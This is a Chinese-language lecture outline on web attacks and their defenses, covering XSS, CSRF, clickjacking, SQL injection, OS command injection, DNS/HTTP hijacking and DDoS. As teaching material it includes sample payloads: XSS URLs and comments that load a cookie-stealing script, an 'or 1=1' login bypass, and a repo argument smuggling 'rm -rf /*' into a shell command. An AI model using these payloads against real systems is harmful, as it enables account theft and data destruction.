web安全攻防

梁朝飞


web安全
攻击手段
XSS
CSRF
Click Injecting
SQL注入
请求劫持
DDOS
防御手段
密码安全
密码学
对称
非对称
摘要算法
传入安全
HTTPS
nodejs安全框架
CSP策略

XSS定义

- XSS（Cross-Site Scripting），跨站脚本攻击，因为缩写和CSS重叠，所以只能叫XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击

XSS攻击分类

反射型- url参数直接注入

- 普通：http://localhost:3000/?from=china
- alert尝试：http://localhost:3000/?from=<script>alert(1)</script>
- 获取cookie：http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
- 短域名伪造：https://dwz.cn/
- 伪造cookie入侵：document.cookie

XSS攻击分类

存储型：存储到DB读取时注入

评论：<script>alert(1)</script>

- 跨站脚本注入：评论<script src="http://localhost:4000/hack.js"></script>

XSS攻击的危害

- 获取页面数据
- 获取cookie
- 劫持前端逻辑
- 发送请求
- 偷取用户的登录态
- ……

XSS防范手段

- ejs转义
  - <% code %> 用于执行js代码
  - <%= code %> 会对code进行html转义
  - <%- code %>不会转义
- CSP
  - 内容安全策略（CSP，Content Security Policy）
  - CSP本质上是建立白名单，明确告诉浏览器哪些外部资源可以加载和执行。
  - 配置规则：
    - 只允许加载本站资源：Content-Security-Policy:default-src 'self'
    - 只允许加载https协议图片：Content-Security-Policy: img-src https://*
    - 不允许加载任何框架：Content-Security-Policy: child-src 'none'
  - 尝试下外部资源不能加载

XSS防范手段

- HttpOnly Cookie
  - response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
- 黑名单
  - 手动转义。缺点：富文本不能转义所有字符。
- 白名单
  - xss库

- # CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造。利用用户已登录的身份，在用户毫不知情的情况下，以用户的名义进行非法操作

1.用户已经登录了站点A,并在本地记录了cookie

2.在用户没有登出站点A的情况下(cookie生效的情况)，访问了攻击者提供的引诱危险站点B(B站点要求访问站点A)

3.站点A没有做csrf防御

访问：http://localhost:4000/csrf.html

CSRF危害和防御

危害:

1.盗取用户资金(转账，消费)

2.冒充用户发帖背锅

3.损害网站声誉

防御:

1.禁止第三方网站带cookie，有兼容性问题

2.检查referer

3.验证码

点击劫持

点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe嵌套的方式潜入自己的网页中，并将iframe设置为透明，在页面中透出一个按钮诱导用户点击

访问：　http://127.0.0.1:4000/clickjacking.html

防御：　设置X-FRAME-OPTIONS,有3个值

1.DENY,表示页面不允许通过iframe的方式展示

2.SAMEORIGIN，表示页面可以在相同域名下通过iframe展示

3.ALLOW-FROM,表示页面可以在指定来源的iframe展示

SQL注入

特殊密码：1 ' or ' 1 '=' 1

拼接后的sql: select * from sec.user where username='curry' and password = '1' or '1' = '1'

防御：

1.查询语句使用数据库提供的参数化查询接口，例如node中的mysqljs库的query方法中的?占位符

2.严格控制数据库操作权限

3.后端代码对入库的特殊字符进行转义

OS命令注入

OS命令注入针对操作系统，通过web应用，执行非法的操作系统命令达到攻击目的。
只要在能调用shell函数的地方就存在被攻击的危险，

以nodejs为例，假如在接口需要从github上下载用户指定的repo

```
const exec = require('mz/child_process').exec;
let params = 用户输入的参数
exec(`git clone ${params.repo} /some/path`)
```

传入下面参数：

```
https://github/com/xx/xx.git && rm -rf /* &&
```

- # 请求劫持

DNS劫持

DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果，使得访问到的不是预期的ip

http劫持

http劫持 运营商劫持 ，升级https

DDOS

http://www.ruanyifeng.com/blog/2018/06/ddos.html

distribute denial of service 分布式拒绝访问攻击

不是一种攻击，一大类攻击的总称。网站运行的各个环节，都可以是攻击目标，只要一个环节攻破，使得整个流程跑不起来，达到瘫痪服务的目的。

防御：

1.备份网站

2.带宽扩容

3.靠谱运营商

谢谢